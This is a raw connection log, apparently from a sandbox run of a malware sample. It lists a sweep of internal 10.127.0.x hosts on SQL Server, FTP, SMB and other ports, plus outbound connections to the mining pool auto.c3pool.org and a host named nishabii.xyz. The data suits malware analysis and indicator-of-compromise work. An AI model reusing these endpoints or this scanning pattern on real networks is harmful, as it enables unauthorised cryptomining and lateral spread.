N/A 10.127.0.190:1433 tcp
N/A 10.127.0.189:1433 tcp
N/A 10.127.0.191:1433 tcp
N/A 10.127.0.192:1433 tcp
N/A 10.127.0.0:21 tcp
N/A 10.127.0.193:1433 tcp
N/A 10.127.0.194:1433 tcp
N/A 10.127.0.1:21 tcp
N/A 10.127.0.195:1433 tcp
N/A 10.127.0.2:21 tcp
N/A 10.127.0.196:1433 tcp
N/A 10.127.0.3:21 tcp
N/A 10.127.0.197:1433 tcp
N/A 10.127.0.4:21 tcp
N/A 10.127.0.5:21 tcp
N/A 10.127.0.198:1433 tcp
N/A 10.127.0.7:21 tcp
N/A 10.127.0.200:1433 tcp
N/A 10.127.0.199:1433 tcp
N/A 10.127.0.8:21 tcp
N/A 10.127.0.201:1433 tcp
N/A 10.127.0.9:21 tcp
N/A 10.127.0.202:1433 tcp
N/A 10.127.0.203:1433 tcp
N/A 10.127.0.10:21 tcp
N/A 10.127.0.205:1433 tcp
N/A 10.127.0.204:1433 tcp
N/A 10.127.0.12:21 tcp
N/A 10.127.0.11:21 tcp
N/A 10.127.0.206:1433 tcp
N/A 10.127.0.14:21 tcp
N/A 10.127.0.13:21 tcp
N/A 10.127.0.207:1433 tcp
N/A 10.127.0.208:1433 tcp
N/A 10.127.0.15:21 tcp
N/A 10.127.0.16:21 tcp
N/A 10.127.0.209:1433 tcp
N/A 10.127.0.210:1433 tcp
N/A 10.127.0.18:21 tcp
N/A 10.127.0.17:21 tcp
N/A 10.127.0.211:1433 tcp
N/A 10.127.0.212:1433 tcp
N/A 10.127.0.19:21 tcp
N/A 10.127.0.20:21 tcp
N/A 10.127.0.213:1433 tcp
N/A 10.127.0.214:1433 tcp
N/A 10.127.0.21:21 tcp
N/A 10.127.0.23:21 tcp
N/A 10.127.0.22:21 tcp
N/A 10.127.0.216:1433 tcp
N/A 10.127.0.215:1433 tcp
N/A 10.127.0.24:21 tcp
N/A 10.127.0.217:1433 tcp
N/A 10.127.0.218:1433 tcp
N/A 10.127.0.25:21 tcp
N/A 10.127.0.219:1433 tcp
N/A 10.127.0.26:21 tcp
N/A 10.127.0.221:1433 tcp
N/A 10.127.0.220:1433 tcp
N/A 10.127.0.28:21 tcp
N/A 10.127.0.27:21 tcp
N/A 10.127.0.222:1433 tcp
N/A 10.127.0.29:21 tcp
N/A 10.127.0.223:1433 tcp
N/A 10.127.0.30:21 tcp
N/A 10.127.0.224:1433 tcp
N/A 10.127.0.31:21 tcp
N/A 10.127.0.226:1433 tcp
N/A 10.127.0.225:1433 tcp
N/A 10.127.0.32:21 tcp
N/A 10.127.0.33:21 tcp
N/A 10.127.0.228:1433 tcp
N/A 10.127.0.227:1433 tcp
N/A 10.127.0.35:21 tcp
N/A 10.127.0.34:21 tcp
N/A 10.127.0.229:1433 tcp
N/A 10.127.0.36:21 tcp
N/A 10.127.0.230:1433 tcp
N/A 10.127.0.38:21 tcp
N/A 10.127.0.39:21 tcp
N/A 10.127.0.37:21 tcp
N/A 10.127.0.232:1433 tcp
N/A 10.127.0.231:1433 tcp
N/A 10.127.0.41:21 tcp
N/A 10.127.0.40:21 tcp
N/A 10.127.0.235:1433 tcp
N/A 10.127.0.233:1433 tcp
N/A 10.127.0.234:1433 tcp
N/A 10.127.0.42:21 tcp
N/A 10.127.0.236:1433 tcp
N/A 10.127.0.237:1433 tcp
N/A 10.127.0.45:21 tcp
N/A 10.127.0.44:21 tcp
N/A 10.127.0.43:21 tcp
N/A 10.127.0.239:1433 tcp
N/A 10.127.0.238:1433 tcp
N/A 10.127.0.47:21 tcp
N/A 10.127.0.46:21 tcp
N/A 10.127.0.48:21 tcp
N/A 10.127.0.240:1433 tcp
N/A 10.127.0.242:1433 tcp
N/A 10.127.0.241:1433 tcp
N/A 10.127.0.49:21 tcp
N/A 10.127.0.243:1433 tcp
N/A 10.127.0.50:21 tcp
N/A 10.127.0.51:21 tcp
N/A 10.127.0.244:1433 tcp
N/A 10.127.0.245:1433 tcp
N/A 10.127.0.53:21 tcp
N/A 10.127.0.52:21 tcp
N/A 10.127.0.54:21 tcp
N/A 10.127.0.246:1433 tcp
N/A 10.127.0.55:21 tcp
N/A 10.127.0.248:1433 tcp
N/A 10.127.0.247:1433 tcp
N/A 10.127.0.57:21 tcp
N/A 10.127.0.58:21 tcp
N/A 10.127.0.56:21 tcp
N/A 10.127.0.251:1433 tcp
N/A 10.127.0.250:1433 tcp
N/A 10.127.0.249:1433 tcp
N/A 10.127.0.59:21 tcp
N/A 10.127.0.252:1433 tcp
N/A 10.127.0.253:1433 tcp
N/A 10.127.0.60:21 tcp
N/A 10.127.0.61:21 tcp
N/A 10.127.0.62:21 tcp
N/A 10.127.0.254:1433 tcp
N/A 10.127.0.63:21 tcp
N/A 10.127.0.64:21 tcp
N/A 10.127.0.66:21 tcp
N/A 10.127.0.65:21 tcp
N/A 10.127.0.68:21 tcp
N/A 10.127.0.67:21 tcp
N/A 10.127.0.69:21 tcp
N/A 10.127.0.70:21 tcp
N/A 10.127.0.71:21 tcp
N/A 10.127.0.72:21 tcp
N/A 10.127.0.74:21 tcp
N/A 10.127.0.73:21 tcp
N/A 10.127.0.76:21 tcp
N/A 10.127.0.75:21 tcp
N/A 10.127.0.77:21 tcp
N/A 10.127.0.78:21 tcp
N/A 10.127.0.79:21 tcp
N/A 10.127.0.80:21 tcp
N/A 10.127.0.81:21 tcp
N/A 10.127.0.83:21 tcp
N/A 10.127.0.82:21 tcp
N/A 10.127.0.84:21 tcp
N/A 10.127.0.85:21 tcp
N/A 10.127.0.86:21 tcp
N/A 10.127.0.88:21 tcp
N/A 10.127.0.87:21 tcp
N/A 10.127.0.89:21 tcp
N/A 10.127.0.91:21 tcp
N/A 10.127.0.90:21 tcp
N/A 10.127.0.93:21 tcp
N/A 10.127.0.92:21 tcp
N/A 10.127.0.94:21 tcp
N/A 10.127.0.96:21 tcp
N/A 10.127.0.95:21 tcp
N/A 10.127.0.97:21 tcp
N/A 10.127.0.98:21 tcp
N/A 10.127.0.99:21 tcp
N/A 10.127.0.100:21 tcp
N/A 10.127.0.101:21 tcp
N/A 10.127.0.103:21 tcp
N/A 10.127.0.102:21 tcp
N/A 10.127.0.104:21 tcp
N/A 10.127.0.105:21 tcp
N/A 10.127.0.106:21 tcp
N/A 10.127.0.107:21 tcp
N/A 10.127.0.108:21 tcp
N/A 10.127.0.109:21 tcp
N/A 10.127.0.110:21 tcp
N/A 10.127.0.111:21 tcp
N/A 10.127.0.113:21 tcp
N/A 10.127.0.112:21 tcp
N/A 10.127.0.114:21 tcp
N/A 10.127.0.115:21 tcp
N/A 10.127.0.116:21 tcp
N/A 10.127.0.117:21 tcp
N/A 10.127.0.118:21 tcp
N/A 10.127.0.119:21 tcp
N/A 10.127.0.121:21 tcp
N/A 10.127.0.120:21 tcp
N/A 10.127.0.122:21 tcp
N/A 10.127.0.123:21 tcp
N/A 10.127.0.124:21 tcp
N/A 10.127.0.125:21 tcp
N/A 10.127.0.127:21 tcp
N/A 10.127.0.126:21 tcp
N/A 10.127.0.128:21 tcp
N/A 10.127.0.129:21 tcp
N/A 10.127.0.130:21 tcp
N/A 10.127.0.132:21 tcp
N/A 10.127.0.131:21 tcp
N/A 10.127.0.134:21 tcp
N/A 10.127.0.133:21 tcp
N/A 10.127.0.135:21 tcp
N/A 10.127.0.136:21 tcp
N/A 10.127.0.137:21 tcp
N/A 10.127.0.138:21 tcp
N/A 10.127.0.139:21 tcp
N/A 10.127.0.140:21 tcp
N/A 10.127.0.141:21 tcp
N/A 10.127.0.142:21 tcp
N/A 10.127.0.143:21 tcp
N/A 10.127.0.145:21 tcp
N/A 10.127.0.146:21 tcp
N/A 10.127.0.144:21 tcp
N/A 10.127.0.147:21 tcp
N/A 10.127.0.148:21 tcp
N/A 10.127.0.149:21 tcp
N/A 10.127.0.150:21 tcp
N/A 10.127.0.151:21 tcp
N/A 10.127.0.152:21 tcp
N/A 10.127.0.154:21 tcp
N/A 10.127.0.153:21 tcp
N/A 10.127.0.156:21 tcp
N/A 10.127.0.155:21 tcp
N/A 10.127.0.157:21 tcp
N/A 10.127.0.158:21 tcp
N/A 10.127.0.159:21 tcp
N/A 10.127.0.161:21 tcp
N/A 10.127.0.160:21 tcp
N/A 10.127.0.162:21 tcp
N/A 10.127.0.163:21 tcp
N/A 10.127.0.164:21 tcp
N/A 10.127.0.165:21 tcp
N/A 10.127.0.166:21 tcp
N/A 10.127.0.168:21 tcp
N/A 10.127.0.167:21 tcp
N/A 10.127.0.170:21 tcp
N/A 10.127.0.169:21 tcp
N/A 10.127.0.171:21 tcp
N/A 10.127.0.172:21 tcp
N/A 10.127.0.174:21 tcp
N/A 10.127.0.173:21 tcp
N/A 10.127.0.175:21 tcp
N/A 10.127.0.176:21 tcp
N/A 10.127.0.177:21 tcp
N/A 10.127.0.178:21 tcp
N/A 10.127.0.179:21 tcp
N/A 10.127.0.180:21 tcp
N/A 10.127.0.181:21 tcp
N/A 10.127.0.182:21 tcp
N/A 10.127.0.184:21 tcp
N/A 10.127.0.183:21 tcp
N/A 10.127.0.185:21 tcp
N/A 10.127.0.186:21 tcp
N/A 10.127.0.187:21 tcp
N/A 10.127.0.188:21 tcp
N/A 10.127.0.190:21 tcp
N/A 10.127.0.189:21 tcp
N/A 10.127.0.191:21 tcp
N/A 10.127.0.192:21 tcp
N/A 10.127.0.0:19490 tcp
N/A 10.127.0.193:21 tcp
N/A 10.127.0.1:19490 tcp
N/A 10.127.0.194:21 tcp
N/A 10.127.0.195:21 tcp
N/A 10.127.0.2:19490 tcp
N/A 10.127.0.3:19490 tcp
N/A 10.127.0.196:21 tcp
N/A 10.127.0.197:21 tcp
N/A 10.127.0.4:19490 tcp
N/A 10.127.0.5:19490 tcp
N/A 10.127.0.198:21 tcp
N/A 10.127.0.199:21 tcp
N/A 10.127.0.7:19490 tcp
N/A 10.127.0.200:21 tcp
N/A 10.127.0.8:19490 tcp
N/A 10.127.0.201:21 tcp
N/A 10.127.0.9:19490 tcp
N/A 10.127.0.202:21 tcp
N/A 10.127.0.203:21 tcp
N/A 10.127.0.10:19490 tcp
N/A 10.127.0.12:19490 tcp
N/A 10.127.0.11:19490 tcp
N/A 10.127.0.205:21 tcp
N/A 10.127.0.204:21 tcp
N/A 10.127.0.206:21 tcp
N/A 10.127.0.14:19490 tcp
N/A 10.127.0.13:19490 tcp
N/A 10.127.0.207:21 tcp
N/A 10.127.0.15:19490 tcp
N/A 10.127.0.208:21 tcp
N/A 10.127.0.16:19490 tcp
N/A 10.127.0.17:19490 tcp
N/A 10.127.0.18:19490 tcp
N/A 10.127.0.209:21 tcp
N/A 10.127.0.210:21 tcp
N/A 10.127.0.212:21 tcp
N/A 10.127.0.211:21 tcp
N/A 10.127.0.20:19490 tcp
N/A 10.127.0.19:19490 tcp
N/A 10.127.0.213:21 tcp
N/A 10.127.0.21:19490 tcp
N/A 10.127.0.214:21 tcp
N/A 10.127.0.23:19490 tcp
N/A 10.127.0.22:19490 tcp
N/A 10.127.0.216:21 tcp
N/A 10.127.0.24:19490 tcp
N/A 10.127.0.215:21 tcp
N/A 10.127.0.217:21 tcp
N/A 10.127.0.218:21 tcp
N/A 10.127.0.25:19490 tcp
N/A 10.127.0.219:21 tcp
N/A 10.127.0.26:19490 tcp
N/A 10.127.0.28:19490 tcp
N/A 10.127.0.27:19490 tcp
N/A 10.127.0.220:21 tcp
N/A 10.127.0.221:21 tcp
N/A 10.127.0.222:21 tcp
N/A 10.127.0.29:19490 tcp
N/A 10.127.0.223:21 tcp
N/A 10.127.0.30:19490 tcp
N/A 10.127.0.31:19490 tcp
N/A 10.127.0.224:21 tcp
N/A 10.127.0.33:19490 tcp
N/A 10.127.0.32:19490 tcp
N/A 10.127.0.225:21 tcp
N/A 10.127.0.226:21 tcp
N/A 10.127.0.34:19490 tcp
N/A 10.127.0.35:19490 tcp
N/A 10.127.0.228:21 tcp
N/A 10.127.0.227:21 tcp
N/A 10.127.0.229:21 tcp
N/A 10.127.0.36:19490 tcp
N/A 10.127.0.39:19490 tcp
N/A 10.127.0.37:19490 tcp
N/A 10.127.0.38:19490 tcp
N/A 10.127.0.230:21 tcp
N/A 10.127.0.232:21 tcp
N/A 10.127.0.231:21 tcp
N/A 10.127.0.41:19490 tcp
N/A 10.127.0.40:19490 tcp
N/A 10.127.0.235:21 tcp
N/A 10.127.0.42:19490 tcp
N/A 10.127.0.234:21 tcp
N/A 10.127.0.233:21 tcp
N/A 10.127.0.44:19490 tcp
N/A 10.127.0.43:19490 tcp
N/A 10.127.0.45:19490 tcp
N/A 10.127.0.236:21 tcp
N/A 10.127.0.237:21 tcp
N/A 10.127.0.238:21 tcp
N/A 10.127.0.239:21 tcp
N/A 10.127.0.46:19490 tcp
N/A 10.127.0.47:19490 tcp
N/A 10.127.0.48:19490 tcp
N/A 10.127.0.240:21 tcp
N/A 10.127.0.241:21 tcp
N/A 10.127.0.242:21 tcp
N/A 10.127.0.49:19490 tcp
N/A 10.127.0.50:19490 tcp
N/A 10.127.0.51:19490 tcp
N/A 10.127.0.243:21 tcp
N/A 10.127.0.244:21 tcp
N/A 10.127.0.53:19490 tcp
N/A 10.127.0.54:19490 tcp
N/A 10.127.0.52:19490 tcp
N/A 10.127.0.245:21 tcp
N/A 10.127.0.246:21 tcp
N/A 10.127.0.55:19490 tcp
N/A 10.127.0.247:21 tcp
N/A 10.127.0.248:21 tcp
N/A 10.127.0.58:19490 tcp
N/A 10.127.0.57:19490 tcp
N/A 10.127.0.56:19490 tcp
N/A 10.127.0.250:21 tcp
N/A 10.127.0.249:21 tcp
N/A 10.127.0.251:21 tcp
N/A 10.127.0.59:19490 tcp
N/A 10.127.0.252:21 tcp
N/A 10.127.0.253:21 tcp
N/A 10.127.0.61:19490 tcp
N/A 10.127.0.62:19490 tcp
N/A 10.127.0.60:19490 tcp
N/A 10.127.0.63:19490 tcp
N/A 10.127.0.64:19490 tcp
N/A 10.127.0.254:21 tcp
N/A 10.127.0.65:19490 tcp
N/A 10.127.0.66:19490 tcp
N/A 10.127.0.69:19490 tcp
N/A 10.127.0.68:19490 tcp
N/A 10.127.0.67:19490 tcp
N/A 10.127.0.70:19490 tcp
N/A 10.127.0.71:19490 tcp
N/A 10.127.0.72:19490 tcp
N/A 10.127.0.74:19490 tcp
N/A 10.127.0.73:19490 tcp
N/A 10.127.0.75:19490 tcp
N/A 10.127.0.77:19490 tcp
N/A 10.127.0.76:19490 tcp
N/A 10.127.0.79:19490 tcp
N/A 10.127.0.78:19490 tcp
N/A 10.127.0.80:19490 tcp
N/A 10.127.0.81:19490 tcp
N/A 10.127.0.82:19490 tcp
N/A 10.127.0.83:19490 tcp
N/A 10.127.0.84:19490 tcp
N/A 10.127.0.86:19490 tcp
N/A 10.127.0.85:19490 tcp
N/A 10.127.0.88:19490 tcp
N/A 10.127.0.87:19490 tcp
N/A 10.127.0.89:19490 tcp
N/A 10.127.0.91:19490 tcp
N/A 10.127.0.90:19490 tcp
N/A 10.127.0.92:19490 tcp
N/A 10.127.0.93:19490 tcp
N/A 10.127.0.94:19490 tcp
N/A 10.127.0.95:19490 tcp
N/A 10.127.0.97:19490 tcp
N/A 10.127.0.96:19490 tcp
N/A 10.127.0.99:19490 tcp
N/A 10.127.0.98:19490 tcp
N/A 10.127.0.100:19490 tcp
N/A 10.127.0.101:19490 tcp
N/A 10.127.0.103:19490 tcp
N/A 10.127.0.104:19490 tcp
N/A 10.127.0.102:19490 tcp
N/A 10.127.0.105:19490 tcp
N/A 10.127.0.106:19490 tcp
N/A 10.127.0.108:19490 tcp
N/A 10.127.0.107:19490 tcp
N/A 10.127.0.109:19490 tcp
N/A 10.127.0.110:19490 tcp
N/A 10.127.0.111:19490 tcp
N/A 10.127.0.113:19490 tcp
N/A 10.127.0.112:19490 tcp
N/A 10.127.0.114:19490 tcp
N/A 10.127.0.116:19490 tcp
N/A 10.127.0.115:19490 tcp
N/A 10.127.0.117:19490 tcp
N/A 10.127.0.118:19490 tcp
N/A 10.127.0.119:19490 tcp
N/A 10.127.0.120:19490 tcp
N/A 10.127.0.121:19490 tcp
N/A 10.127.0.122:19490 tcp
N/A 10.127.0.123:19490 tcp
N/A 10.127.0.124:19490 tcp
N/A 10.127.0.125:19490 tcp
N/A 10.127.0.127:19490 tcp
N/A 10.127.0.126:19490 tcp
CN 218.244.58.70:9011 nishabii.xyz tcp
N/A 10.127.0.128:19490 tcp
N/A 10.127.0.129:19490 tcp
N/A 10.127.0.130:19490 tcp
N/A 10.127.0.132:19490 tcp
N/A 10.127.0.131:19490 tcp
N/A 10.127.0.134:19490 tcp
N/A 10.127.0.135:19490 tcp
N/A 10.127.0.133:19490 tcp
N/A 10.127.0.136:19490 tcp
N/A 10.127.0.137:19490 tcp
N/A 10.127.0.138:19490 tcp
N/A 10.127.0.140:19490 tcp
N/A 10.127.0.139:19490 tcp
N/A 10.127.0.141:19490 tcp
N/A 10.127.0.142:19490 tcp
N/A 10.127.0.143:19490 tcp
N/A 10.127.0.144:19490 tcp
N/A 10.127.0.145:19490 tcp
N/A 10.127.0.146:19490 tcp
N/A 10.127.0.147:19490 tcp
N/A 10.127.0.148:19490 tcp
N/A 10.127.0.150:19490 tcp
N/A 10.127.0.149:19490 tcp
N/A 10.127.0.151:19490 tcp
N/A 10.127.0.152:19490 tcp
N/A 10.127.0.154:19490 tcp
N/A 10.127.0.153:19490 tcp
N/A 10.127.0.156:19490 tcp
N/A 10.127.0.155:19490 tcp
N/A 10.127.0.157:19490 tcp
N/A 10.127.0.158:19490 tcp
N/A 10.127.0.159:19490 tcp
N/A 10.127.0.161:19490 tcp
N/A 10.127.0.160:19490 tcp
N/A 10.127.0.162:19490 tcp
N/A 10.127.0.163:19490 tcp
N/A 10.127.0.164:19490 tcp
N/A 10.127.0.165:19490 tcp
N/A 10.127.0.166:19490 tcp
N/A 10.127.0.168:19490 tcp
N/A 10.127.0.167:19490 tcp
N/A 10.127.0.170:19490 tcp
N/A 10.127.0.169:19490 tcp
N/A 10.127.0.172:19490 tcp
N/A 10.127.0.171:19490 tcp
N/A 10.127.0.173:19490 tcp
N/A 10.127.0.174:19490 tcp
N/A 10.127.0.176:19490 tcp
N/A 10.127.0.175:19490 tcp
N/A 10.127.0.177:19490 tcp
N/A 10.127.0.178:19490 tcp
N/A 10.127.0.179:19490 tcp
N/A 10.127.0.180:19490 tcp
N/A 10.127.0.181:19490 tcp
N/A 10.127.0.182:19490 tcp
N/A 10.127.0.186:19490 tcp
N/A 10.127.0.185:19490 tcp
N/A 10.127.0.184:19490 tcp
N/A 10.127.0.183:19490 tcp
N/A 10.127.0.187:19490 tcp
N/A 10.127.0.188:19490 tcp
N/A 10.127.0.189:19490 tcp
N/A 10.127.0.190:19490 tcp
N/A 10.127.0.191:19490 tcp
N/A 10.127.0.192:19490 tcp
N/A 10.127.0.0:445 tcp
N/A 10.127.0.193:19490 tcp
N/A 10.127.0.194:19490 tcp
N/A 10.127.0.1:445 tcp
N/A 10.127.0.196:19490 tcp
N/A 10.127.0.195:19490 tcp
N/A 10.127.0.3:445 tcp
N/A 10.127.0.2:445 tcp
N/A 10.127.0.197:19490 tcp
N/A 10.127.0.4:445 tcp
N/A 10.127.0.5:445 tcp
N/A 10.127.0.198:19490 tcp
N/A 10.127.0.200:19490 tcp
N/A 10.127.0.199:19490 tcp
N/A 10.127.0.201:19490 tcp
N/A 10.127.0.8:445 tcp
N/A 10.127.0.9:445 tcp
N/A 10.127.0.7:445 tcp
N/A 10.127.0.203:19490 tcp
N/A 10.127.0.202:19490 tcp
N/A 10.127.0.10:445 tcp
N/A 10.127.0.204:19490 tcp
N/A 10.127.0.206:19490 tcp
N/A 10.127.0.205:19490 tcp
N/A 10.127.0.13:445 tcp
N/A 10.127.0.14:445 tcp
N/A 10.127.0.11:445 tcp
N/A 10.127.0.12:445 tcp
N/A 10.127.0.207:19490 tcp
N/A 10.127.0.209:19490 tcp
N/A 10.127.0.210:19490 tcp
N/A 10.127.0.208:19490 tcp
N/A 10.127.0.16:445 tcp
N/A 10.127.0.17:445 tcp
N/A 10.127.0.15:445 tcp
N/A 10.127.0.18:445 tcp
N/A 10.127.0.211:19490 tcp
N/A 10.127.0.212:19490 tcp
N/A 10.127.0.213:19490 tcp
N/A 10.127.0.20:445 tcp
N/A 10.127.0.19:445 tcp
N/A 10.127.0.214:19490 tcp
N/A 10.127.0.23:445 tcp
N/A 10.127.0.21:445 tcp
N/A 10.127.0.22:445 tcp
N/A 10.127.0.218:19490 tcp
N/A 10.127.0.217:19490 tcp
N/A 10.127.0.215:19490 tcp
N/A 10.127.0.216:19490 tcp
N/A 10.127.0.219:19490 tcp
N/A 10.127.0.24:445 tcp
N/A 10.127.0.25:445 tcp
N/A 10.127.0.26:445 tcp
N/A 10.127.0.221:19490 tcp
N/A 10.127.0.220:19490 tcp
N/A 10.127.0.27:445 tcp
N/A 10.127.0.28:445 tcp
N/A 10.127.0.222:19490 tcp
N/A 10.127.0.29:445 tcp
N/A 10.127.0.224:19490 tcp
N/A 10.127.0.223:19490 tcp
N/A 10.127.0.31:445 tcp
N/A 10.127.0.30:445 tcp
N/A 10.127.0.226:19490 tcp
N/A 10.127.0.225:19490 tcp
N/A 10.127.0.33:445 tcp
N/A 10.127.0.32:445 tcp
N/A 10.127.0.227:19490 tcp
N/A 10.127.0.228:19490 tcp
N/A 10.127.0.35:445 tcp
N/A 10.127.0.34:445 tcp
N/A 10.127.0.229:19490 tcp
N/A 10.127.0.36:445 tcp
N/A 10.127.0.230:19490 tcp
N/A 10.127.0.37:445 tcp
N/A 10.127.0.38:445 tcp
N/A 10.127.0.39:445 tcp
N/A 10.127.0.232:19490 tcp
N/A 10.127.0.231:19490 tcp
N/A 10.127.0.40:445 tcp
N/A 10.127.0.41:445 tcp
N/A 10.127.0.233:19490 tcp
N/A 10.127.0.234:19490 tcp
N/A 10.127.0.235:19490 tcp
N/A 10.127.0.42:445 tcp
N/A 10.127.0.236:19490 tcp
N/A 10.127.0.237:19490 tcp
N/A 10.127.0.239:19490 tcp
N/A 10.127.0.238:19490 tcp
N/A 10.127.0.44:445 tcp
N/A 10.127.0.43:445 tcp
N/A 10.127.0.45:445 tcp
N/A 10.127.0.46:445 tcp
N/A 10.127.0.47:445 tcp
N/A 10.127.0.48:445 tcp
N/A 10.127.0.240:19490 tcp
N/A 10.127.0.242:19490 tcp
N/A 10.127.0.241:19490 tcp
N/A 10.127.0.49:445 tcp
N/A 10.127.0.243:19490 tcp
N/A 10.127.0.244:19490 tcp
N/A 10.127.0.51:445 tcp
N/A 10.127.0.50:445 tcp
N/A 10.127.0.245:19490 tcp
N/A 10.127.0.53:445 tcp
N/A 10.127.0.54:445 tcp
N/A 10.127.0.52:445 tcp
N/A 10.127.0.246:19490 tcp
N/A 10.127.0.55:445 tcp
N/A 10.127.0.247:19490 tcp
N/A 10.127.0.248:19490 tcp
N/A 10.127.0.249:19490 tcp
N/A 10.127.0.251:19490 tcp
N/A 10.127.0.250:19490 tcp
N/A 10.127.0.56:445 tcp
N/A 10.127.0.57:445 tcp
N/A 10.127.0.59:445 tcp
N/A 10.127.0.58:445 tcp
N/A 10.127.0.253:19490 tcp
N/A 10.127.0.252:19490 tcp
N/A 10.127.0.60:445 tcp
N/A 10.127.0.62:445 tcp
N/A 10.127.0.61:445 tcp
N/A 10.127.0.254:19490 tcp
N/A 10.127.0.63:445 tcp
N/A 10.127.0.64:445 tcp
N/A 10.127.0.65:445 tcp
N/A 10.127.0.66:445 tcp
N/A 10.127.0.70:445 tcp
N/A 10.127.0.68:445 tcp
N/A 10.127.0.69:445 tcp
N/A 10.127.0.67:445 tcp
N/A 10.127.0.0:139 tcp
N/A 10.127.0.0:443 udp
N/A 10.127.0.1:443 udp
N/A 10.127.0.1:139 tcp
N/A 10.127.0.71:445 tcp
N/A 10.127.0.3:139 tcp
N/A 10.127.0.3:443 udp
N/A 10.127.0.2:139 tcp
N/A 10.127.0.2:443 udp
N/A 10.127.0.72:445 tcp
N/A 10.127.0.73:445 tcp
N/A 10.127.0.74:445 tcp
N/A 10.127.0.4:139 tcp
N/A 10.127.0.4:443 udp
N/A 10.127.0.5:139 tcp
N/A 10.127.0.5:443 udp
N/A 10.127.0.78:445 tcp
N/A 10.127.0.77:445 tcp
N/A 10.127.0.76:445 tcp
N/A 10.127.0.75:445 tcp
N/A 10.127.0.79:445 tcp
N/A 10.127.0.8:139 tcp
N/A 10.127.0.8:443 udp
N/A 10.127.0.7:139 tcp
N/A 10.127.0.7:443 udp
N/A 10.127.0.9:443 udp
N/A 10.127.0.9:139 tcp
N/A 10.127.0.10:443 udp
N/A 10.127.0.10:139 tcp
N/A 10.127.0.80:445 tcp
N/A 10.127.0.11:139 tcp
N/A 10.127.0.11:443 udp
N/A 10.127.0.14:443 udp
N/A 10.127.0.14:139 tcp
N/A 10.127.0.12:443 udp
N/A 10.127.0.12:139 tcp
N/A 10.127.0.13:443 udp
N/A 10.127.0.13:139 tcp
N/A 10.127.0.81:445 tcp
N/A 10.127.0.83:445 tcp
N/A 10.127.0.82:445 tcp
N/A 10.127.0.84:445 tcp
N/A 10.127.0.85:445 tcp
N/A 10.127.0.16:139 tcp
N/A 10.127.0.16:443 udp
N/A 10.127.0.17:443 udp
N/A 10.127.0.17:139 tcp
N/A 10.127.0.86:445 tcp
N/A 10.127.0.88:445 tcp
N/A 10.127.0.18:139 tcp
N/A 10.127.0.18:443 udp
N/A 10.127.0.15:443 udp
N/A 10.127.0.15:139 tcp
N/A 10.127.0.87:445 tcp
N/A 10.127.0.89:445 tcp
N/A 10.127.0.19:139 tcp
N/A 10.127.0.19:443 udp
N/A 10.127.0.20:139 tcp
N/A 10.127.0.20:443 udp
N/A 10.127.0.91:445 tcp
N/A 10.127.0.90:445 tcp
N/A 10.127.0.22:139 tcp
N/A 10.127.0.22:443 udp
N/A 10.127.0.21:139 tcp
N/A 10.127.0.21:443 udp
N/A 10.127.0.23:139 tcp
N/A 10.127.0.23:443 udp
N/A 10.127.0.92:445 tcp
N/A 10.127.0.25:139 tcp
N/A 10.127.0.25:443 udp
N/A 10.127.0.93:445 tcp
N/A 10.127.0.24:139 tcp
N/A 10.127.0.24:443 udp
N/A 10.127.0.94:445 tcp
US 8.8.8.8:53 auto.c3pool.org udp
N/A 10.127.0.26:139 tcp
N/A 10.127.0.26:443 udp
N/A 10.127.0.97:445 tcp
N/A 10.127.0.28:139 tcp
N/A 10.127.0.28:443 udp
N/A 10.127.0.27:139 tcp
N/A 10.127.0.96:445 tcp
N/A 10.127.0.27:443 udp
N/A 10.127.0.95:445 tcp
N/A 10.127.0.99:445 tcp
N/A 10.127.0.98:445 tcp
N/A 10.127.0.29:139 tcp
DE 159.69.83.232:19999 auto.c3pool.org tcp
N/A 10.127.0.29:443 udp
N/A 10.127.0.30:139 tcp
N/A 10.127.0.31:139 tcp
N/A 10.127.0.30:443 udp
N/A 10.127.0.31:443 udp
N/A 10.127.0.101:445 tcp
N/A 10.127.0.100:445 tcp
N/A 10.127.0.33:139 tcp
N/A 10.127.0.33:443 udp
N/A 10.127.0.32:139 tcp
N/A 10.127.0.32:443 udp
N/A 10.127.0.103:445 tcp
N/A 10.127.0.104:445 tcp
N/A 10.127.0.102:445 tcp
N/A 10.127.0.34:139 tcp
N/A 10.127.0.34:443 udp
N/A 10.127.0.40:139 tcp
N/A 10.127.0.40:443 udp
N/A 10.127.0.41:139 tcp
N/A 10.127.0.41:443 udp
N/A 10.127.0.111:445 tcp
N/A 10.127.0.39:139 tcp
N/A 10.127.0.39:443 udp
N/A 10.127.0.38:139 tcp
N/A 10.127.0.38:443 udp
N/A 10.127.0.37:443 udp
N/A 10.127.0.37:139 tcp
N/A 10.127.0.36:443 udp
N/A 10.127.0.35:443 udp
N/A 10.127.0.36:139 tcp
N/A 10.127.0.35:139 tcp
N/A 10.127.0.105:445 tcp
N/A 10.127.0.113:445 tcp
N/A 10.127.0.110:445 tcp
N/A 10.127.0.109:445 tcp
N/A 10.127.0.114:445 tcp
N/A 10.127.0.108:445 tcp
N/A 10.127.0.106:445 tcp
N/A 10.127.0.107:445 tcp
N/A 10.127.0.116:445 tcp
N/A 10.127.0.115:445 tcp
N/A 10.127.0.112:445 tcp
N/A 10.127.0.118:445 tcp
N/A 10.127.0.117:445 tcp
N/A 10.127.0.119:445 tcp
N/A 10.127.0.121:445 tcp
N/A 10.127.0.120:445 tcp
N/A 10.127.0.44:139 tcp
N/A 10.127.0.122:445 tcp
N/A 10.127.0.44:443 udp
N/A 10.127.0.48:139 tcp
N/A 10.127.0.48:443 udp
N/A 10.127.0.43:443 udp
N/A 10.127.0.45:139 tcp
N/A 10.127.0.43:139 tcp
N/A 10.127.0.42:443 udp
N/A 10.127.0.42:139 tcp
N/A 10.127.0.46:443 udp
N/A 10.127.0.46:139 tcp
N/A 10.127.0.47:139 tcp
N/A 10.127.0.47:443 udp
N/A 10.127.0.45:443 udp
DE 195.201.97.156:19999 auto.c3pool.org tcp
N/A 10.127.0.124:445 tcp
N/A 10.127.0.125:445 tcp
N/A 10.127.0.123:445 tcp
N/A 10.127.0.126:445 tcp
N/A 10.127.0.127:445 tcp
N/A 10.127.0.53:139 tcp
N/A 10.127.0.52:443 udp
N/A 10.127.0.52:139 tcp
N/A 10.127.0.54:443 udp
N/A 10.127.0.54:139 tcp
N/A 10.127.0.50:443 udp
N/A 10.127.0.50:139 tcp
N/A 10.127.0.51:443 udp
N/A 10.127.0.55:443 udp
N/A 10.127.0.51:139 tcp
N/A 10.127.0.49:443 udp
N/A 10.127.0.55:139 tcp
N/A 10.127.0.128:445 tcp
N/A 10.127.0.49:139 tcp
N/A 10.127.0.53:443 udp
